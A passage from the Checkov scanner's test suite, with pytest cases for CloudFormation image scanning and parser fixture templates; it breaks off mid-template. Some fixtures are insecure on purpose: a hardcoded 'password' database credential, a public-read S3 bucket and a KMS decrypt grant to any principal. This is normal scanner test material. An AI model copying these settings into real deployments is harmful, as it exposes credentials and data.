assert len(sca_image_report.image_cached_results) == 1 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_batch_resources(mocker: MockerFixture, graph_framework): # given file_name = "batch.yaml" image_name_1 = "nvidia/cuda" image_name_2 = "tensorflow/tensorflow:2.10.0-gpu" code_lines_1 = "5-27" code_lines_2 = "28-44" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 2 assert len(tf_report.passed_checks) == 0 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_codebuild_resources(mocker: MockerFixture, graph_framework): # given file_name = "codebuild.yaml" image_name = "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:3.0" code_lines = "5-17" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 1 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == {f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go"} assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_ecs_resources(mocker: MockerFixture, graph_framework): # given file_name = "ecs.yaml" image_name_1 = "amazon/amazon-ecs-sample" image_name_2 = "busybox" code_lines_1 = "5-37" code_lines_2 = "5-37" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 1 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_lightsail_resources(mocker: MockerFixture, graph_framework): # given file_name = "lightsail.yaml" image_name = "nginx:latest" code_lines = "5-13" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 0 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == {f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go"} assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_sagemaker_image_version_resources(mocker: MockerFixture, graph_framework): # given file_name = "sagemaker_image_version.yaml" image_name = "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-base-image:1.0.0" code_lines = "4-19" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 2 assert len(tf_report.passed_checks) == 0 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == {f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go"} assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_sagemaker_model_resources(mocker: MockerFixture, graph_framework): # given file_name = "sagemaker_model.yaml" image_name_1 = "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image:latest" image_name_2 = "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-1:latest" image_name_3 = "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-2:latest" code_lines_1 = "4-21" code_lines_2 = "22-46" code_lines_3 = "22-46" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 2 assert len(tf_report.passed_checks) == 2 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 3 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", f"{file_name} ({image_name_3} lines:{code_lines_3} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 9 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 ================================================ FILE: tests/cloudformation/parser/__init__.py ================================================ ================================================ FILE: tests/cloudformation/parser/cfn_bad_iam.yaml ================================================ --- AWSTemplateFormatVersion: "2010-09-09" Description: > Test bad IAM policies Resources: rIamRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: {} Policies: - PolicyName: String PolicyDocument: Version: 'blah' BadProperty: test Statement: "Test" rIamUser: Type: AWS::IAM::ManagedPolicy Properties: PolicyDocument: Version: 'blah' Statement: - Resource: '*' Effect: 'NotAllow' Principal: [123456789012] rIamPolicy: Type: AWS::IAM::Policy Properties: PolicyDocument: - Fn::If: - cCondition - Statement: {} - Statement: [] ================================================ FILE: tests/cloudformation/parser/cfn_bad_name.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: with.dot: Type: AWS::EC2::Instance Properties: ImageId: x no_dot: Type: AWS::EC2::Instance Properties: ImageId: y ================================================ FILE: tests/cloudformation/parser/cfn_file.yaml ================================================ --- service: api-services provider: name: aws stage: ${sls:stage} runtime: nodejs20.x region: 'us-east-1' iamManagedPolicies: - 'arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole' resources: - ${file(./cfn_file_resources.yaml)} ================================================ FILE: tests/cloudformation/parser/cfn_file_circular.yaml ================================================ --- service: api-services provider: name: aws stage: ${sls:stage} runtime: nodejs20.x region: 'us-east-1' iamManagedPolicies: - 'arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole' resources: - ${file(./cfn_file_circular.yaml)} ================================================ FILE: tests/cloudformation/parser/cfn_file_resources.yaml ================================================ --- Resources: MyBucket: Type: AWS::S3::Bucket Properties: BucketName: my-bucket AccessControl: PublicRead ================================================ FILE: tests/cloudformation/parser/cfn_newline_at_end.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MyBucket: Type: 'AWS::S3::Bucket' Properties: BucketName: 'hello' ================================================ FILE: tests/cloudformation/parser/cfn_nonewline_at_end.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MyBucket: Type: 'AWS::S3::Bucket' Properties: BucketName: 'hello' ================================================ FILE: tests/cloudformation/parser/cfn_with_ref.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "data-stage" Parameters: ElasticsearchInstanceType: Type: String Default: r5.large.elasticsearch Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Join - "-" - - !Ref AWS::StackName - "20200325" ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: '1' InstanceType: !Ref ElasticsearchInstanceType ================================================ FILE: tests/cloudformation/parser/cfn_with_ref_bad.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "data-stage" Parameters: ElasticsearchInstanceType: Type: String Default: r5.large.elasticsearch Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Join - "-" - - !Ref AWS::StackName - "20200325" ElasticsearchVersion: !Ref [1] ElasticsearchClusterConfig: InstanceCount: '1' InstanceType: !Ref ElasticsearchInstanceType ================================================ FILE: tests/cloudformation/parser/fail.json ================================================ foo ================================================ FILE: tests/cloudformation/parser/skip.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' # Test case for check skip via comment # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' ================================================ FILE: tests/cloudformation/parser/success.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "acme AWS CloudTrail and Config Security Audit Integration", "Mappings": { "acmeEnvironment": { "env": { "organizationID": "${account_id}", "SnsNameForConfirmCustomerDeployment": "${sns_name}" } } }, "Metadata": { "AWS::CloudFormation::Interface": { "ParameterGroups": [ { "Label": { "default": "Required Parameters" }, "Parameters": [ "CustomerName", "ResourceNamePrefix", "ExternalID", "LogFilesExpiration", "CreateTrail" ] }, { "Label": { "default": "New Trail Options" }, "Parameters": [ "NewTrailLogFilePrefix" ] }, { "Label": { "default": "Existing Trail Setup" }, "Parameters": [ "ExistingTrailBucketName", "ExistingTrailTopicArn", "SecurityAccountId" ] } ], "ParameterLabels": { "ResourceNamePrefix": { "default": "Resource name prefix" }, "CustomerName": { "default": "Customer name" }, "ExternalID": { "default": "ExternalID" }, "CreateTrail": { "default": "Create new trail?" }, "NewTrailLogFilePrefix": { "default": "Log file prefix" }, "ExistingTrailBucketName": { "default": "Bucket name" }, "ExistingTrailTopicArn": { "default": "Topic ARN" }, "LogFilesExpiration": { "default": "LifecycleConfigurationExpirationInDays" } } } }, "Parameters": { "ResourceNamePrefix": { "Description": "Names of resources created by the stack will be prefixed with this value to ensure uniqueness.", "Type": "String", "Default": "acme", "MinLength": "1", "MaxLength": "32", "AllowedPattern": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", "ConstraintDescription": "Invalid resource name prefix value. Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$" }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[a-zA-Z0-9]*", "ConstraintDescription": "must contain only alphanumeric characters." }, "ExternalID": { "Description": "The cross-account access role created by the stack will use this value for its ExternalID.", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[\\w+=,.@:\\/-]*", "ConstraintDescription": "Invalid ExternalID value. Must match pattern [\\w+=,.@:\\/-]*" }, "CreateTrail": { "Description": "You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.", "Type": "String", "AllowedValues": [ "Yes", "No" ], "Default": "Yes" }, "NewTrailLogFilePrefix": { "Description": "If you want the new trail to prefix its log file names, provide the prefix to use. Otherwise, leave it blank.", "Default": "", "Type": "String", "MaxLength": "64", "AllowedPattern": "[a-zA-Z0-9-_.!()* ]*", "ConstraintDescription": "Invalid log file prefix. Must match pattern [a-zA-Z0-9-_.!()* ]*" }, "ExistingTrailBucketName": { "Description": "Provide the name of the S3 bucket for your existing trail setup. The bucket must be owned by the current account.", "Default": "", "Type": "String", "MaxLength": "128" }, "ExistingTrailTopicArn": { "Description": "Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket", "Default": "", "Type": "String", "MaxLength": "256" }, "SecurityAccountId": { "Description": "In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account", "Default": "", "Type": "String", "AllowedPattern": "\\d{12}|\\d{0}", "MaxLength": "12" }, "LogFilesExpiration": { "Description": "Number of days log files will be saved for. After this many days, log files will be deleted", "Type": "Number", "Default": "30", "MinValue": "7", "MaxValue": "365" } }, "Conditions": { "CreateNewTrail": { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] }, "UseExistingTrail": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] } ] }, "NewTrailUsesLogFilePrefix": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "NewTrailLogFilePrefix" }, "" ] } ] }, "SecurityAccountExists": { "Fn::Equals": [ { "Ref": "SecurityAccountId" }, "" ] } }, "Resources": { "acmeCWSBucket": { "Condition": "CreateNewTrail", "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "VersioningConfiguration": { "Status": "Enabled" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucket2": { "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "LoggingConfiguration": { "DestinationBucketName": "dest-bucket", "LogFilePrefix": "" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucketPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::S3::BucketPolicy", "Properties": { "Bucket": { "Ref": "acmeCWSBucket" }, "PolicyDocument": { "Version": "2012-10-17", "Id": "acmeCWSBucketPolicy", "Statement": [ { "Sid": "CloudTrailAclCheck", "Action": "s3:GetBucketAcl", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" } }, { "Sid": "CloudTrailWrite", "Action": "s3:PutObject", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Fn::Join": [ "", [ "/", { "Ref": "NewTrailLogFilePrefix" } ] ] }, "" ] }, "/AWSLogs/", { "Ref": "AWS::AccountId" }, "/*" ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }, "Bool": { "aws:SecureTransport": "true" } } }, { "Sid": "DenyUnsecureTransport", "Action": "s3:*", "Effect": "Deny", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, "/*" ] ] }, { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] } ], "Principal": "*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } } }, "acmeCWSTopic": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::Topic", "Properties": { "TopicName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] } } }, "acmeCWSTopicPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::TopicPolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "CloudTrailPublish", "Action": "SNS:Publish", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Resource": "*" } ] }, "Topics": [ { "Ref": "acmeCWSTopic" } ] } }, "acmeCWSTrail": { "Condition": "CreateNewTrail", "Type": "AWS::CloudTrail::Trail", "DependsOn": [ "acmeCWSTopicPolicy", "acmeCWSBucketPolicy" ], "Properties": { "TrailName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "S3BucketName": { "Ref": "acmeCWSBucket" }, "S3KeyPrefix": { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, { "Ref": "AWS::NoValue" } ] }, "SnsTopicName": { "Fn::GetAtt": [ "acmeCWSTopic", "TopicName" ] }, "KMSKeyId": { "Ref": "CloudtrailKMSKeyAlias" }, "EnableLogFileValidation": true, "IncludeGlobalServiceEvents": true, "IsMultiRegionTrail": true, "IsLogging": true } }, "CloudtrailKMSKey": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Key", "Properties": { "Description": "KMS for Cloudtrail, shared with Lacework and acme", "Enabled": true, "EnableKeyRotation": true, "KeyPolicy": { "Version": "2012-10-17", "Id": "key-default-1", "Statement": [ { "Sid": "Enable owner account permissions", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Ref": "AWS::AccountId" }, ":root" ] ] } }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow CloudTrail to encrypt logs", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": [ "kms:GenerateDataKey*", "kms:ReEncryptFrom" ], "Resource": "*", "Condition": { "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } }, { "Sid": "Allow CloudTrail to describe key", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "kms:DescribeKey", "Resource": "*" }, { "Sid": "Enable acme & Lacework log decryption", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "kms:Decrypt" ], "Resource": "*", "Condition": { "StringEquals": { "kms:CallerAccount": { "Ref": "AWS::AccountId" } }, "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } } ] }, "KeyUsage": "ENCRYPT_DECRYPT" }, "Metadata": { "AWS::CloudFormation::Designer": { "id": "787370fe-e579-465f-98c5-f1c84f79a810" } } }, "CloudtrailKMSKeyAlias": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Alias", "Properties": { "AliasName": { "Fn::Join": [ "", [ "alias/", { "Ref": "ResourceNamePrefix" }, "-CloudtrailKey" ] ] }, "TargetKeyId": { "Ref": "CloudtrailKMSKey" } } }, "acmeCWSQueue": { "Type": "AWS::SQS::Queue", "Properties": { "QueueName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "VisibilityTimeout": 43200 } }, "acmeCWSQueuePolicy": { "Type": "AWS::SQS::QueuePolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "AwsSnsAccess", "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage" ], "Resource": "*", "Condition": { "ArnEquals": { "aws:SourceArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } } }, { "Sid": "acmeSqsAccess", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Action": [ "sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:ListDeadLetterSourceQueues", "sqs:ChangeMessageVisibility" ], "Resource": "*" } ] }, "Queues": [ { "Ref": "acmeCWSQueue" } ] } }, "acmeCWSSubscription": { "Type": "AWS::SNS::Subscription", "Properties": { "Endpoint": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] }, "Protocol": "sqs", "TopicArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } }, "acmeCWSSACrossAccountAccessRole": { "Type": "AWS::IAM::Role", "Properties": { "RoleName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecwssarole" ] ] }, "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Condition": { "StringEquals": { "sts:ExternalId": { "Ref": "ExternalID" } } } } ] }, "ManagedPolicyArns": [ "arn:aws:iam::aws:policy/SecurityAudit", "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess" ], "Policies": [ { "PolicyName": "acmeCWSPolicy", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "ConsumeNotifications", "Action": [ "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:DeleteMessage", "sqs:ReceiveMessage" ], "Effect": "Allow", "Resource": [ { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } ] }, { "Sid": "ListLogFiles", "Action": [ "s3:ListBucket" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ], "Condition": { "StringLike": { "s3:prefix": [ { "Fn::Join": [ "", [ { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, "AWSLogs/*" ] ] } ] } } }, { "Sid": "ReadLogFiles", "Action": [ "s3:Get*" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ] }, { "Sid": "GetAccountAlias", "Action": [ "iam:ListAccountAliases" ], "Effect": "Allow", "Resource": "*" }, { "Sid": "GetMetricDataAccess", "Action": [ "cloudwatch:GetMetricData" ], "Effect": "Allow", "Resource": "*" } ] } } ] } }, "eksCluster": { "Type": "AWS::EKS::Cluster", "Properties": { "EncryptionConfig" : [ { "Provider": { "KeyArn": "" }, "Resources": ["secrets"] } ] } }, "acmeSnsCustomResource": { "Type": "Custom::acmeSnsCustomResource", "DependsOn": [ "acmeCWSQueuePolicy" ], "Properties": { "Type": "AWS_CT_CFG", "ServiceToken": { "Fn::Join": [ "", [ "arn:aws:sns:", { "Ref": "AWS::Region" }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "SnsNameForConfirmCustomerDeployment" ] } ] ] }, "IntegrationName": { "Ref": "AWS::StackName" }, "CrossAccountRoleArn": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] }, "ExternalId": { "Ref": "ExternalID" }, "SqsQueueUrl": { "Ref": "acmeCWSQueue" }, "CustomerName": { "Ref": "CustomerName" }, "DeploymentRegion": { "Ref": "AWS::Region" }, "ActionType": "CustomerSignUp", "Account": "acme", "TemplateVersion": "${template_version}", "AWSAccountId": { "Ref": "AWS::AccountId" }, "SecurityAccountId": { "Fn::If": [ "SecurityAccountExists", { "Ref": "AWS::AccountId" }, { "Ref": "SecurityAccountId" } ] } } } }, "Outputs": { "RoleARN": { "Description": "Cross-account access role ARN to share with acme for CloudTrail integration", "Value": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] } }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Value": { "Ref": "CustomerName" } }, "SQSQueueURL": { "Description": "SQS queue URL to share with acme for CloudTrail Integration", "Value": { "Ref": "acmeCWSQueue" } }, "SQSQueueARN": { "Description": "SQS queue ARN to share with acme for CloudTrail Integration", "Value": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } }, "DeploymentRegion": { "Description": "The region that the customer installed this cloud-formation template", "Value": { "Ref": "AWS::Region" } }, "TemplateVersion": { "Description": "acme.io template version", "Value": "${template_version}" } } } ================================================ FILE: tests/cloudformation/parser/success_triple_quotes_string.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "acme AWS CloudTrail and Config Security Audit Integration", "Mappings": { "acmeEnvironment": { "env": { "organizationID": "${account_id}", "SnsNameForConfirmCustomerDeployment": "${sns_name}" } } }, "Metadata": { "AWS::CloudFormation::Interface": { 